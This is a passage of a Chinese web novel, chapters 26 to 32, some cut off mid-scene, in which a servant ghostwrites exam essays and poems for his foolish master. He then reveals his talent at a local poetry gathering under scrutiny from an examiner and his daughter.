你是个聪明孩子,应该懂。
少爷中了,
那是少爷自己的本事和造化!
你,终究只是个书童,是个下人。
要时刻记住自己的身份,
恪守本分。
该你的,自然不会少;
不该你想的,千万别动心思。
否则…”
他没有说下去,
但那声拖长的尾音和冰冷的眼神,
已经足够表达所有的威胁
——有功当赏,但若敢恃功生骄,
甚至妄想攀附不该攀附的,
那就别怪他张福不客气了!
苏惟瑾立刻将腰弯得更低,
声音无比恭顺,甚至带着点恰到好处的“畏惧”:
“福伯教诲的是!
小人铭记在心!
小人不敢忘了自己的身份,
定当尽心竭力伺候少爷,
绝无半点非分之想!”
张福这才满意地“嗯”了一声,
重新背起手,
恢复了那副高高在上的管家姿态,
犹如刚才那片刻的“客气”从未发生过。
他点了点头,像是完成了一项重要任务,迈着方步踱开了。
苏惟瑾直起身,
看着张福消失在月亮门后的背影,
眼神平静无波,
嘴角却勾起一丝极淡的讥诮。
变脸?这才哪到哪。
张福这老狐狸,
不过是替主子敲打警告,
既想让他继续当牛做马出力,
又怕他生出不该有的心思。
这番表演,虚伪得令人发笑。
真正的变脸大戏,还在后头呢。
等张诚那肥猪发现自己离了他苏惟瑾寸步难行,
等那“童生功名”成了烫手山芋的时候,
这帮人的脸色,才会真正好看。
与此同时,书房里。
张诚正歪在铺了软垫的太师椅上,
翘着二郎腿,一边享受着丫鬟剥好的葡萄,
一边得意洋洋地听着几个狐朋狗友的吹捧。
“张兄真乃不鸣则已,一鸣惊人啊!”
“我就说诚哥儿是有大才的!
往日不过是藏拙罢了!”
“府试定然也不在话下!
到时候咱们可得叫一声张秀才了!”
张诚被捧得浑身舒坦,
肥胖的身躯惬意地扭动着,
小眼睛眯成了两条缝。
他大手一挥,故作谦虚:
“哎,区区县试,不足挂齿,不足挂齿!
府试嘛…嘿嘿,自然是要去的。”
得意之余,
他脑子里却不由自主地闪过考场里那惊心动魄的一幕,
第26章 赵教谕疑虑,文中现奇论
沭阳县学衙署后院,夜阑人静,只余虫鸣。
一盏孤灯在书房窗纸上投下昏黄的光晕,
将伏案的身影拉得细长。
县学教谕赵明远揉了揉酸涩的眉心,
放下手中朱笔,长长吁了口气。
连日批阅县试卷宗,
即便是他这般与经卷打了一辈子交道的老学究,也感到些精力不济。
他端起早已凉透的浓茶呷了一口,
苦涩的滋味让他精神稍振。
目光不经意间,
又落回了桌案一角那份已被归入“中中”等级的试卷上。
试卷署名——张诚。
这个名字,他有点印象。
沭阳张员外家那个不学无术的独子,
在县学里是挂了号的顽劣人物,
若非其父捐输了不少修缮银钱,
早就该被逐出县学了。
此次县试,他能吊尾上榜,
已是出乎许多人意料。
但让赵明远反复拿起这份试卷的原因,
并非其名次,而是其内容,
尤其是后半部分的策问作答。
整篇文章,初看之下,骨架端正,
辞藻也算规整,符合八股格式,
看得出是下过一番模拟背诵的功夫,
字迹也勉强算工整
——这正是它能混个“中中”的原因。
但细品之下,
那股子匠气和刻意模仿的痕迹便遮掩不住,
尤其起承转合处,透着一股力不从心的笨拙,
与张诚平日表现出来的学识水平…倒也匹配。
怪就怪在策问部分!
此次策问题目关乎“农桑与教化”,
本是老生常谈。
绝大多数考生无不引经据典,
重复着“重农桑以足衣食,
兴教化以明人伦”的陈词滥调,
四平八稳,却也乏善可陈。
而这份试卷,
在例行公事般铺陈了一番圣贤道理后,
笔锋陡然一转,
竟提出一个颇为刁钻的观点:
教化非独在诗书礼乐,
亦藏于深耕易耨之间!
农桑之事,非仅谋生之技,
实为安民之基、秩序之源。
百姓仓廪实而知礼节,此乃小成;
若能于田亩稼穑之中,
体悟天时、地利、人和之道,
遵循自然之法度,各安其分,
各尽其力,则秩序自成,教化暗合!
何须日日耳提面命?
甚至隐晦指出,
若一味空谈教化而忽视农桑根本,
犹如筑厦于流沙,终是虚妄…
这观点…不能说是错的,
甚至细想之下,颇有几分道理,
跳出了纯粹道德说教的窠臼,
带上了几分务实和…
近乎法家“循名责实”的味道?
但又包裹在儒家“顺天应人”的外衣之下。
这绝非一个终日只知斗鸡走狗、
连《孟子》都背不利索的纨绔子弟能有的见识!
更不像他那种浮躁心性能写出的沉静文字!
赵明远捻着胡须,眉头紧锁。
文章中还有几处用典,
虽不算生僻,但也绝非县学蒙童常涉猎的范围。
尤其是将《齐民要术》中的农耕之法与《礼记》中的秩序观念隐隐勾连,
这需要相当的阅读量和融会贯通的能力。
“奇哉…”
赵教谕喃喃自语。
“这张诚…何时有了这般眼界和心思?
莫非真是老夫看走眼了?
还是…”
他心中疑窦丛生。
科举场中,请人捉刀代笔并非新鲜事,
但大多寻的是辞藻华丽、
合乎规范的文章,以求稳妥。
这般带着个人见解甚至略显“离经叛道”的枪文,
风险极大,绝非寻常枪手所为。
而且此文整体水平起伏不定,
前后文风有细微差异,
像是…像是两个人写的?
但没有证据。
字迹是张诚的(虽然略显紧张僵硬),
文章结构也符合他的水平(前半部分),
那些出彩的观点更像是“灵光一闪”。
仅凭怀疑,无法否定一个正式上榜的童生。
这时,书房门被轻轻推开,
一股清淡的药香随之飘入。
女儿赵文萱端着一碗刚炖好的冰糖雪梨羹走了进来。
她见父亲深夜仍对着一份试卷沉思,
不由轻声问道:
“爹,可是批阅试卷遇到了难题?”
赵明远抬起头,
看到女儿娴静的面容,
心中烦闷稍减。
他这女儿自幼聪慧,
虽因体弱未能外出就学,
但在家中也读了不少书,
时常能有些独特见解。
“萱儿来得正好。”
赵明远指了指那份试卷。
“你来看看此文,特别是策问部分,颇为…奇特。”
赵文萱放下羹碗,
有些好奇地接过试卷。
她先是快速浏览了一遍,
秀气的眉毛微微挑起,
显然也察觉到了文章前后气质的不协调。
当她仔细读到策问部分那些新颖观点时,
明澈的眼眸中不禁流露出惊讶之色。
“这…这真是张诚所作?”
她下意识地问出了和父亲一样的疑问。
那张诚的名声,她深居简出亦有耳闻。
“试卷署名是他。”
赵明远苦笑。
“为父也觉难以置信。
尤其是这几句,
‘教化潜于耕织,秩序蕴于畎亩’,
此等见识,已非寻常童生可有。”
赵文萱凝神思索片刻,
轻声道:
“爹,您能否将其中最显不同的几句,默写于女儿一看?”
赵明远点点头,取过一张纸,
凭记忆将文章中最为精警的几句关于农桑与教化关系的论述默写出来。
赵文萱接过那张纸,仔细看去。
娟秀的字体,勾勒出的却是力透纸背的奇崛之论。
她反复看了几遍,越看越是惊奇。
“爹,”
她抬起头,眼神清亮。
“此论虽看似离奇,
却并非无的放矢。
仿佛…似乎说话之人,
并非高坐书斋空谈道理,
而是真正知晓民间疾苦,
第27章 诗会邀约,张诚欲扬名
张诚张大爷如今可了不得。
童生功名虽只是块敲门砖,
但在他身上,
硬是镀上了一层二十四K纯金的晃眼光芒。
走在沭阳大街上,
那肚子腆得更高了,
看人用的都是新研发的“眼角余光斜下四十五度瞥视法”,
仿似多看平头百姓一眼都能污了他新晋“文气”。
这几日,他忙着接收各路狐朋狗友的吹捧,
忙着应付他爹娘新一轮“光宗耀祖、
冲击府试”的殷切期望,
忙得脚不沾地,
感觉自己已然是沭阳文坛一颗冉冉升起、势不可挡的新星。
正巧,本县致仕的刘老翰林家发来请柬,
邀约县中才俊赴一场初夏诗会。
这刘老翰林虽已退养,
但在地方上声望极高,
他家的诗会,
向来是沭阳士子圈层身份的象征。
往年,这种高端局是绝不会落到张诚头上的。
但今年不同了!
他张诚,是童生老爷了!
捧着那张洒金描红的精致请柬,
张诚激动得肥手直抖,
仿佛捧着的不是请柬,
而是通往人生巅峰的VIP门票。
“哈哈哈!看到没有!
刘翰林家的帖子!
爷如今也是有名号的人物了!”
他挥舞着请柬,
在书房里趾高气扬地踱步,
对着两个伺候笔墨却肚里没半点墨水的小厮炫耀。
小厮们自然是一顿猛夸,
夸得张诚飘飘然,
差点以为自己下一刻就能七步成诗,
才惊江北了。
然而,激动劲儿过了,
一股心虚感很快冒了出来。
诗会…那可是要当场作诗的!
他张诚肚子里的那点存货,
吃喝嫖赌样样精通,吟诗作赋?
那是啥玩意儿?
能当饭吃吗?
一想到要在那么多真正的读书人面前出丑,
甚至可能被孙志远那帮人当众奚落,
张诚就感觉头皮发麻,
刚挺起来的肚子又下意识缩了回去。
不行!绝对不行!
他张大爷丢不起这个人!
眼珠子滴溜溜一转,
很自然地就又落在了窗外正安静擦拭廊柱的苏惟瑾身上。
对!
还有苏小九!
这小子邪性!
能让他中童生,
肯定也能帮他扬名诗会!
“苏小九!滚进来!”
张诚扯着嗓子喊道,
底气又足了起来。
苏惟瑾应声而入,垂手而立:
“少爷有何吩咐?”
张诚将那张请柬拍在桌上,
下巴抬得老高,
用施恩般的口气道:
“瞧见没?刘翰林府上的诗会!
爷赏脸带你小子去见识见识!”
苏惟瑾心里门清,
这肥猪哪是好心带他去见世面,
分明是又想把他当枪使。
他脸上适时露出“受宠若惊”和“惶恐”:
“谢少爷恩典!
只是…小人愚钝,
怕去了给少爷丢人…”
“知道丢人就给老子好好办事!”
张诚不耐烦地打断他,
小眼睛里闪烁着贪婪和急切。
“听着!
在诗会之前,给老子准备好几首…
不!十首!
准备好十首顶顶好的诗!
要那种一念出来就能震住全场,
让刘翰林都拍案叫绝的!
听见没有?”
他似乎觉得光命令不够,
又画起大饼:
“办好了,爷重重有赏!
以后在张家,爷罩着你!
要是办砸了…就菊花处子秀!”
他冷哼一声,威胁意味十足。
苏惟瑾心中冷笑连连。
十首震古烁今的好诗?
这蠢货以为千古名篇是大白菜吗?
还一薅十棵?
但他面上却愈发恭顺,连连点头:
“是是是,小人一定竭尽全力,
不敢辜负少爷期望。”
退出书房,苏惟瑾走在回廊下,
眼神却已变得深邃锐利。
诗会…这倒是个意外之喜的机会。
原本只是想借着张诚这块跳板拿到科举资格,
一步步往上爬。
但考场风波和赵教谕的疑虑让他意识到,
或许可以更快一些。
一直完全藏拙,固然安全,但也容易真正被埋没。
需要适当地、有控制地露出一点锋芒,
吸引真正能识别人才、或许能提供助力的目光。
而这次诗会,正是天赐良机!
张诚这蠢货只想出风头,
却根本不懂诗的优劣。
自己完全可以利用这一点。
十首?
不可能。
但一两首足够惊艳的“残句”或意境超绝的“半成品”,倒是可以“准备”。
既要符合张诚那半瓶水晃荡的水平,
不能太过完美吓到人(主要是怕这蠢货背不下来露馅),
又要灵光闪动,
有真正打动人心的力量,
足以在众多陈词滥调中脱颖而出,
引起像刘老翰林这种真正懂行之人的注意。
甚至…可以刻意留下一点“斧凿”的痕迹,
或者一点与张诚平日言行不符的、
更深沉的感慨,埋下更多的疑点和伏笔。
超频大脑开始飞速运转,
浩瀚的记忆库中,
无数诗词歌赋如同星河般流淌而过。
不能直接用那些注定流芳百世的千古绝唱,太扎眼。
需要筛选、改编、
甚至原创一些符合这个时代审美、
却又带着超越性灵光的句子。
“写”什么呢?
初夏诗会…主题无非咏物、抒怀、即景…
有了!
苏惟瑾眼中精光一闪,
嘴角勾起一抹若有若无的笑意。
就“准备”两首吧。
第28章 诗会风波,抄诗遇正主
刘老翰林的别院坐落于沭阳城东,
清流环绕,榆柳成荫。
平日里清幽之地,
今日却因一场初夏诗会而热闹非凡。
亭台楼阁间,纱幔轻扬,
文士三五成群,或凭栏远眺,
或围炉品茗,言笑晏晏,
空气中弥漫着墨香、茶香与淡淡的荷风。
张诚今日可谓是下了血本,
一身簇新的宝蓝色杭绸直裰,
腰缠玉带,手摇一柄绘着拙劣山水的折扇,
努力想挤出几分风雅姿态,
只可惜那过度挺起的肚腩和闪烁不定的小眼睛,
总透着一股沐猴而冠的滑稽。
他身后半步,
跟着低眉顺眼的苏惟瑾,
一身半旧青衣,
与这风雅场合格格不入,
却将场内诸人情态、
四周景致悄然纳入眼中,
超频大脑无声记录分析着。
诗会由刘老翰林亲自主持,
老者须发皆白,精神却矍铄,
目光温和中透着睿智。
寒暄过后,便以“初夏即景”为题,命众才子吟咏。
一时间,亭内诗声朗朗。
率先开口的是县学一位老廪生,
捻须吟道:
“绿荫浓淡夏初长,楼台倒影入池塘。
微风拂过蔷薇架,散作满园碎玉光。”
诗风平稳,绘景工整,赢得一片礼节性的称赞。
接着是孙志远。
他今日特意穿了件月白文士衫,
手持玉骨扇,姿态潇洒,上前一步,朗声道:
“榆柳婆娑碧波漾,新荷初露尖尖角。
乳燕穿帘觅虫忙,最喜人间初夏好。”
诗句轻快,透着富家子弟的闲适情趣,
尤其“尖尖角”一词略显巧思,
引来不少恭维。
孙志远得意地瞥了张诚一眼,满是挑衅。
又有几人相继赋诗,或咏风物,
或抒闲情,水平多在伯仲之间,
无甚惊艳之处。
张诚早已急不可耐,
不停地用眼神催促苏惟瑾。
得到暗示后,他猛地挺胸凸肚,
挤上前去,干咳一声,
将那背了半宿、
差点要了老命的诗句,
用他那公鸭嗓抑扬顿挫(实则磕磕绊绊)地嚎了出来:
“庭下如积水空明——”
他顿了顿,紧张地回想下一句。
水中藻荇交横——”
又卡住,额头冒汗。
“盖竹柏影也!”
努力吼出最后一句,然后像是完成了一项壮举,
长长松了口气,还不忘补充一句。
“此乃吾夜读时,偶见月色入户,心有所感而得之!”
此诗一出,满场霎时一静!
这短短三句,仿佛带着一股清冷幽远的魔力,
将一方庭院月色描绘得澄澈空灵,
似真似幻!
那“积水空明”的比喻,
那“藻荇交横”的错觉,
最后点破是“竹柏影也”,
意境陡然提升,余韵悠长!
这…这真是张诚这厮能写出来的?!
所有人的目光都聚焦在张诚身上,
充满了震惊、难以置信,
甚至一丝惊悚。
就连抚须微笑的刘老翰林,
也微微睁开了眼睛,
目光中闪过一丝讶异和探究。
张诚见镇住了全场,
顿时得意忘形,
刚才的紧张一扫而空,
叉着腰,就差原地大笑三声。
人群中,一道清冽的目光更是紧紧锁定了张诚。
赵文萱今日随父亲前来,
坐在稍远的帘幕之后,
本无意参与,
此刻却不由自主地坐直了身子。
她轻声将诗句又默念了一遍,
越品越是心惊。
这空灵澄澈的意境,
这巧妙自然的比喻,
这收束时的余味…
这绝非一个满脑肠肥、
俗不可耐的纨绔子弟能有的情怀和笔力!
父亲之前的怀疑,瞬间在她心中得到了印证!
她目光微转,落在了张诚身后那个垂首而立的青衣小厮身上,若有所思。
孙志远脸上的得意笑容彻底僵住了。
他万万没想到,
张诚这草包竟真能吐出如此佳句!
强烈的嫉妒和被当众打脸的羞辱感涌上心头,
他绝不相信这是张诚自己所写!
就在一片诡异的寂静和张诚洋洋自得的怪笑中,
孙志远猛地踏前一步,冷笑道:
“张兄真是深藏不露啊!
竟能作出如此…空灵绝妙之句?
佩服,佩服!”
他话锋一转,语气变得尖锐:
“不过,如此好诗,仅得三句,
未免太过意犹未尽!
恰巧,小弟近日也对月色有所感,
不如张兄就此诗意境,
再续上几句,成全一篇完整诗作,
让我等再开开眼界?
也好让我等学习学习张兄的妙思如何绵延不绝?”
这话可谓刁毒至极!
直接点出诗是残句,
并逼张诚当场续写!
续得好,方才可能是侥幸;
续不好,那抄袭的嫌疑就坐实了大半!
张诚脸上的笑容瞬间冻结,
冷汗“唰”地就下来了。
续…续写?
苏小九只教了他这三句啊!
说这三句就够震死他们了!
后面?后面是啥?
他哪知道后面是啥!
“呃…这个…那个…”
张诚支支吾吾,脸憋得通红,
小眼睛慌乱地四处乱瞟,
手指下意识地搓着衣角。
“月色嘛…这个…皓月当空…嗯…那个…皎皎明月……”
他吭哧瘪肚,
拼凑着脑子里仅有的几个跟月亮有关的词,
听得周围人直皱眉头。
这前言不搭后语、粗鄙不堪的续接,
与方才那三句的空灵意境简直是云泥之别!
场面一度十分尴尬。
方才还惊叹不已的众人,
此刻眼神都变得玩味和怀疑起来。
窃窃私语声开始响起。
第29章:逼上梁山,书童显锋芒
张诚那声嘶力竭的“但少闲人如吾两人者耳”余音尚在梁间缭绕,
满场却静得能听见针尖落地的声音。
众人脸上的表情可谓精彩纷呈,
惊愕、怀疑、探究、难以置信…
种种情绪交织,
最终化为一道道实质般的目光,
死死钉在张诚那张油汗涔涔的肥脸上。
这神来之笔的收束,
意境高远,与前文浑然天成,
彻底坐实了这是一首难得的佳作。
但也正因如此,它出自张诚之口,
才显得愈发诡异和…不真实!
张诚自己也被自己吼出来的东西吓住了,
愣在原地,喘着粗气,小眼睛瞪得溜圆,
脑子里一片空白,只剩下后怕和侥幸:
蒙混过去了?总算蒙混过去了?
然而,孙志远岂会如此轻易放过他?
短暂的震惊过后,
一股被当众打脸、
尤其是被张诚这废物打脸的羞怒直冲顶门。
他脸色铁青,猛地合上折扇,
指着张诚,声音尖利得几乎破音:
“好!好一个‘但少闲人’!
张兄真是令人刮目相看啊!”
他语带讥讽,步步紧逼。
“如此佳句,堪称绝唱!
只是…小弟好奇得很,
张兄方才续接之时,
为何目光频频后瞟,
神色惊慌,倒像是…
像是临时得了什么高人指点一般?”
他这话阴毒至极,
几乎是指着鼻子说张诚作弊了!
而且直接将众人的注意力,
引向了张诚身后!
唰!
所有人的目光,
刹那间就被无形的手牵引着,
瞬间越过张诚那肥硕的身躯,
聚焦在了那个一直低眉顺眼、
毫无存在感的青衣小厮身上!
苏惟瑾顿时感到无数道或锐利、
或好奇、或鄙夷的视线落在自己身上,
恨不得立刻要将他看穿。
他依旧垂着头,但脊背却不由自主地挺直了些。
张诚被孙志远说中心事,
顿时如被踩了尾巴的猫,
顿时跳了起来,色厉内荏地吼道:
“孙志远!你放屁!
你…你休要血口喷人!
什么高人指点?
那都是本少爷自己想的!”
可他越是激动,越是显得心虚。
那慌乱的眼神,
那不断瞟向苏惟瑾的小动作,
几乎等于不打自招。
场内的气氛更加微妙了。
才子们交头接耳,
看向张诚的目光充满了鄙夷,
而看向苏惟瑾的目光,
则带上了浓浓的好奇与审视。
帘幕后的赵文萱,
纤手微微握紧,呼吸都下意识地放轻了。
她清澈的目光穿过缝隙,
牢牢锁定了那个清瘦的身影。
果然…是他吗?
刘老翰林抚须的手彻底停下,
昏昏欲睡的眼睛此刻精光闪烁,
看看面红耳赤的张诚,
又看看那静立如松的青衣小童,
沉默不语,仿佛在等待什么。
孙志远见张诚慌乱,
得意更甚,嗤笑一声,
折扇遥遥一点苏惟瑾,
语气轻佻无比:
“哦?不是高人指点?
难不成张兄是想说,
是你身后这位…小书童,
在关键时刻给了你灵感?
哈哈,真是滑天下之大稽!
难道我等今日要见识一番书童代笔、
主子扬名的千古奇闻不成?”
这话已是极尽的羞辱!
既踩了张诚,更将苏惟瑾推到了风口浪尖!
张诚气得浑身肥肉乱颤,
恨不得扑上去撕了孙志远的嘴,
却又哑口无言,
只能恶狠狠地瞪向身后的苏惟瑾,
眼神里充满了迁怒和威胁,
仿似在说:都是你这奴才惹的祸!
苏惟瑾心中冷笑,知道时机已到!
再藏下去,不仅计划受阻,
自己恐怕也要成为张诚泄愤的牺牲品。
他深吸一口气,俨然下定了某种决心。
在所有人惊愕的目光中,
他上前一步,越过无能狂怒的张诚,
走到了场中。
他没有看咄咄逼人的孙志远,
也没有理会脸色铁青的张诚,
而是径直面向主位上的刘老翰林,
躬身,行礼,动作流畅而沉稳,
带着一种与年龄、身份不符的镇定。
然后,他抬起头,声音清朗,
不高却清晰地传入每个人耳中:
“刘老先生,各位相公。”
他语气不卑不亢,
甚至带着一丝恰到好处的谦逊。
“我家少爷近日为准备府试,
日夜钻研经典,耗神过度,
方才确实偶感不适,
一时思绪阻滞,并非才尽。”
他先是为张诚的窘迫找了个勉强能下的台阶,
将众人的注意力从“作弊”引向“身体不适”。
随即,他话锋一转,
目光平静地迎向四周各异的目光:
“小人虽身份微贱,只是一介书童,
但随侍少爷左右,平日铺纸磨墨,
耳濡目染之下,或也记得些许词句,
听得些许道理。”
他微微一顿,一副鼓足了勇气的样子,
继续道:“方才见我家少爷诗兴已起,
却因体恙未能尽抒胸臆,小人斗胆,
愿尝试续貂,将少爷未尽之意敷衍成篇,
抛砖引玉,请各位相公点评指正。
若污了各位尊耳,皆是小人之过,
与我家少爷无关。”
此言一出,满场先是死寂,随即哗然!
一个书童!
一个下人!
竟然敢在刘老翰林的诗会上,
在满城才子面前,
声称要替主子续诗?!
这简直是闻所未闻!
骇人听闻!
“狂妄!”
第30章 口占绝句,满座皆惊寂
满场死寂,犹如被无形的寒冰冻住。
唯有亭外风吹竹叶的沙沙声,清晰可闻。
刘老翰林那声“好诗”的余韵,
胜似投入古井的石子,
在每个人心中荡开层层涟漪,
却激不起半点喧哗。
所有人的目光都像是被钉在了场中那个青衣小童身上,
震惊、茫然、难以置信…
种种情绪交织,最终化为一种近乎诡异的沉默。
一个书童!
一个地位卑贱、只能站在主子身后屏息凝神的奴仆!
竟然真的续出了诗!
而且续得如此…
如此意境超拔,气韵贯通!
这已经完全超出了他们的认知范畴。
方才那些或轻蔑或好奇的议论,
此刻全都噎在了喉咙里,
吐不出,咽不下,堵得人心发慌。
孙志远脸上的肌肉抽搐着,
青一阵白一阵,
方才的讥讽嘲笑还僵在嘴角,
此刻却显得无比滑稽。
他死死盯着苏惟瑾,
眼神像是要喷出火来,
又夹杂着一丝连他自己都不愿承认的惊悸。
这怎么可能?!
定是侥幸!
对,一定是侥幸蒙中的!
张诚的脑子更是彻底糊成了一锅粥。
他看看苏惟瑾,
又看看周围那些目瞪口呆的才子,
最后望向主位上抚须沉吟、
目光灼灼的刘老翰林,
巨大的荒谬感和一种难以言喻的恐慌攫住了他。
这奴才…这奴才竟然真有这般本事?
那自己…自己这个“童生”…
他不敢再想下去,
肥硕的身躯微微发抖,
冷汗湿透了里衣。
帘幕之后,赵文萱的指尖微微颤抖,
她几乎要按捺不住起身的冲动。
那清越沉稳的声音,
那浑然天成的诗句,
尤其是最后那句“唯见江心秋月白”,
带着何等寥廓旷达的胸怀!
这绝不是一个寻常书童!
父亲之前的怀疑,
此刻在她心中已成了滔天巨浪!
她迫切地想要看清,
那青衣之下,究竟藏着怎样的灵魂!
就在这一片寂静与暗流汹涌之中,
孙志远终究是按捺不住那口恶气和不甘。
他猛地吸了一口气,
强行压下心中的震动,
脸上再度挤出惯有的嘲讽,
声音却因底气不足而显得有些尖利:
“哼!倒是…倒是小瞧了你这家奴!”
他刻意加重“家奴”二字,
试图用身份重新碾压对方。
“看来平日里没少替你家少爷‘耳濡目染’啊!
就是不知,你这‘染’的是墨汁,
还是别的什么见不得光的东西!”
他这话恶毒依旧,
暗示苏惟瑾可能偷学甚至偷窃。
不等众人反应,
他眼珠一转,决心要将这卑贱书童打回原形,
便提高声调,带着明显的刁难意味:
“既然你这般‘耳濡目染’,
灵思泉涌,那不如…
就以此地院中盛开的秋菊为题,
当场再赋诗一首,
让我等再开开眼界如何?
也好让我等看看,
你是真有些许急才,
还是只会…提前背好那么一两首?”
他特意强调了“当场”和“秋菊”,
题目临时指定,
绝无提前准备的可能!
他绝不相信一个书童能有如此急智!
这话一出,在场不少人都微微蹙眉。
孙志远这咄咄逼人、
针对一个书童的架势,
实在有些失身份了。
但另一方面,
巨大的好奇心也被勾了起来:
方才那诗,究竟是灵光一闪,
还是真有实学?
这书童,敢接吗?
所有人的目光再次聚焦于苏惟瑾身上,屏息以待。
张诚吓得脸都白了,
恨不得冲上去捂住孙志远的嘴!
这杀千刀的!
还没完没了了!
万一这奴才江郎才尽,
岂不是连累他一起丢人现眼?
他拼命朝苏惟瑾使眼色,
想让他赶紧认怂退下。
苏惟瑾心中冷笑。
孙志远,你真是自作孽不可活!
正愁锋芒露得不够,
你就把脸凑上来给我打!
他面上却依旧是那副恭谨模样,
先是朝着孙志远的方向微微躬身,
语气平和:
“孙公子有命,小人不敢推辞。”
然后,他转向刘老翰林,请示道:
“老先生,可否容小人略作沉吟?”
刘老翰林目光深邃,点了点头:
“可。”
苏惟瑾便垂下眼帘,
看似凝神思索,
实则超频大脑早已启动!
浩瀚如烟海的诗词库瞬间被调动,
以“秋菊”、“风骨”、“傲然”为关键词极速检索匹配!
无数名篇佳句闪过,
最终,一首极贴合此情此景、
语言质朴却意志刚毅的诗篇被筛选出来,
并依据当前时代语言习惯进行微调改编!
整个过程,不过短短三息!
在众人看来,
这青衣小童只是低头蹙眉了片刻,
便倏然抬起头来!
眼中再无半分卑怯,
取而代之的是一种清亮逼人的光彩,
仿佛有寒芒在瞳孔深处凝聚。
他清瘦的身躯挺得笔直,
化身为院中那经霜挺立的菊枝。
他朗声开口,声音不高,却字字清晰,
掷地有声,带着一股难以言喻的铮铮傲气:
“秋菊能傲霜,”
第一句出,平淡无奇,只是点题。
“风霜重重恶。”
第二句,风霜之酷烈扑面而来!
“本性能耐寒,”
第三句,陡然一转,揭示内在禀赋!
第31章 才女侧目,教谕探虚实
满场的寂静持续了足足十几息,
宛如时间都在那首傲骨铮铮的咏菊诗后凝滞了。
空气里弥漫着一种极其复杂的情绪,
震惊、难以置信、些许的羞愧,
以及更多难以言喻的探究。
最终,是刘老翰林那声带着颤音的赞叹,
打破了这诡异的沉默。
“好…好一个‘风霜其奈何’!
好一个傲骨铮铮的…秋菊!”
老翰林的声音在寂静的庭院中回荡,
也惊醒了尚在震撼中的众人。
一时间,各种复杂的目光再次聚焦于场中那垂首而立的青衣小童身上,
只是这一次,
目光中的鄙夷和轻蔑已荡然无存,
取而代之的是惊疑、审视,
甚至是一丝不易察觉的敬畏。
帘幕之后,赵文萱缓缓坐回椅中,
但那双清澈的美眸却亮得惊人,
一瞬不瞬地透过纱帘缝隙,
紧紧盯着苏惟瑾。
她的心跳得飞快,
胸腔里涌动着一种发现宝藏般的激动与欣喜。
就是他!绝不会错!
张诚那首“庭下积水空明”虽意境空灵,
却总觉带着几分不食人间烟火的疏离,
与张诚本人的俗鄙气质格格不入,
更像是超然物外的隐士偶得之句。
而方才这首咏菊诗,
语言直白如话,却字字千钧,
那股子从逆境中勃发、
于风霜里傲然挺立的坚韧与不屈,
分明是有着切身之感才能发出的铿锵之音!
这绝非养尊处优的纨绔子弟能有的心境,
更像是一个身居卑位、
却心志不堕的寒门学子借物咏怀!
再联想到父亲之前提及县试卷中那些突兀却精辟的务实之论…
一个清晰的、令人难以置信的念头在她心中疯狂滋长:
那张诚的功名,
恐怕真是…而这惊才绝艳的诗句,
恐怕亦是…
她不由再次望向场中那清瘦却挺直的身影,
目光灼灼,仿佛要穿透那身粗布青衣,
看清内里究竟藏着怎样的锦绣才华与不屈灵魂。
刘老翰林此刻心中的惊涛骇浪,
丝毫不比赵家女儿少。
他宦海沉浮、文坛执牛耳数十载,
见过的才子俊杰如过江之鲫,
但从未有一人,
能像眼前这小书童般,
带给他如此巨大的冲击和…困惑。
那首咏菊诗,看似简单,
实则大巧不工,
已得咏物诗之精髓——遗形取神!
更重要的是诗中蕴含的那股蓬勃昂扬的生命力和傲岸风骨,
这绝非单靠天赋灵光就能拥有的,
必然经过生活的磨砺与内心的坚守。
一个书童…怎会如此?
老翰林深吸一口气,
压下心中的激动,
昏花的老眼变得锐利起来,
仔细打量着苏惟瑾。
只见对方面对自己和满场士子的注视,
依旧垂眸敛目,姿态恭谨,
却无半分寻常下人的惶恐瑟缩,
那平静的神情下,
隐隐中蕴藏着与他年龄、
身份极不相符的沉稳与力量。
沉吟片刻,刘老翰林看看向了一直没有做声的赵教谕。
赵明远对着刘老翰林点了点头,然后缓缓开口,声音温和,
却带着不容错辨的探究之意:
“你这小童,唤作苏小九?”
“回先生,是。”
苏惟瑾躬身应答,声音清晰平稳。
“嗯。”
赵教谕抚须,目光如炬。
“方才两首诗,尤其是这首咏菊,
急智难得,风骨更佳。
老夫问你,你可知此诗…好在哪里?”
这个问题看似简单,实则刁钻。
若是侥幸得之,必然说不出所以然;
即便真是自己所写,
能创作与能精准赏析,
亦是两种不同的能力层次。
这是赵教谕在进一步试探苏惟瑾的深浅。
唰!
所有人的目光再次聚焦!
孙志远也勉强从打击中回过神,
死死盯着苏惟瑾,
咬牙切齿地盼着他出丑答不上来。
苏惟瑾心中早有准备。
他知道,这才是真正的考题,
是决定他能否真正进入这两位关键人物视野的关键。
他再次躬身,
略作沉吟状(实则超频大脑已瞬间组织好最得体的语言),
然后抬起头,
目光清正地迎向赵教谕,
不疾不徐地开口,声音依旧清朗:
“回先生的话。
小人愚见,拙句俚语,不敢言好。
若说其中些许可取之处…”
他微微一顿,仿佛在组织语言,
实则将众人的好奇心吊到了顶点,
才缓缓道:
“或许在于‘真切’二字。”
“哦?真切在何处?”
赵教谕追问,兴趣更浓。
“菊之为物,秋深而华,
不与百花争艳于春,
独抗风霜于寒秋。”
苏惟瑾声音平稳,条理清晰。
“小人以为,咏物非止描摹形色,
更贵在得其神髓。
菊之神髓,便在这一‘傲’字,一‘耐’字。
傲对风霜之酷烈,
耐得住清寒与寂寞,方能绽放异彩。”
他说到此处,语气微微低沉,
带着一丝不易察觉的感慨,
目光恰似看向了虚空中的某一点:
“这好比…好比世间寒门学子,
无锦绣华堂可依,无父辈余荫可庇,
如同野菊生于荒僻,
所能依仗者,唯有自身一点坚韧不拔之志,
一颗耐得住清苦寒凉之心。
纵外界风霜重重,恶语相加,
困境频仍,其心志不移,
其本性不改,则风霜…
又能奈我何?”
他巧妙地将诗的意境与自身“书童”(寒门学子)的处境结合起来,
一番解读,既精准地道出了咏菊诗的精妙所在,
又融入了自身真切的情感体验,
说得情真意切,感人肺腑!
最后,他再次躬身:
“小人浅见,妄议诗文,请两位先生恕罪。”
全场再次陷入一片寂静。
但这次的寂静,
第32章 张诚羞怒,归途施淫威
诗会终是在一种微妙的气氛中散了场。
刘老翰林最后说了几句勉励后辈的场面话,
但那双阅尽沧桑的老眼,
却总是不自觉地往张家那个角落瞟。
众士子们揖让告辞,
三三两两议论着离去,
言语间已不再是单纯的嘲讽张诚,
更多了几分对那惊鸿一瞥的青衣书童的好奇与猜测。
“那张诚真是走了狗屎运,
竟能得如此书童?”
“嘘…小声些,我看未必是运气,
那诗…啧,不像个下人能作的。”
“莫非是请了枪手?
可当场作诗,如何请得?”
“怪哉,怪哉!此事定有蹊跷!”
“且看吧,经此一会,
这苏小九之名,
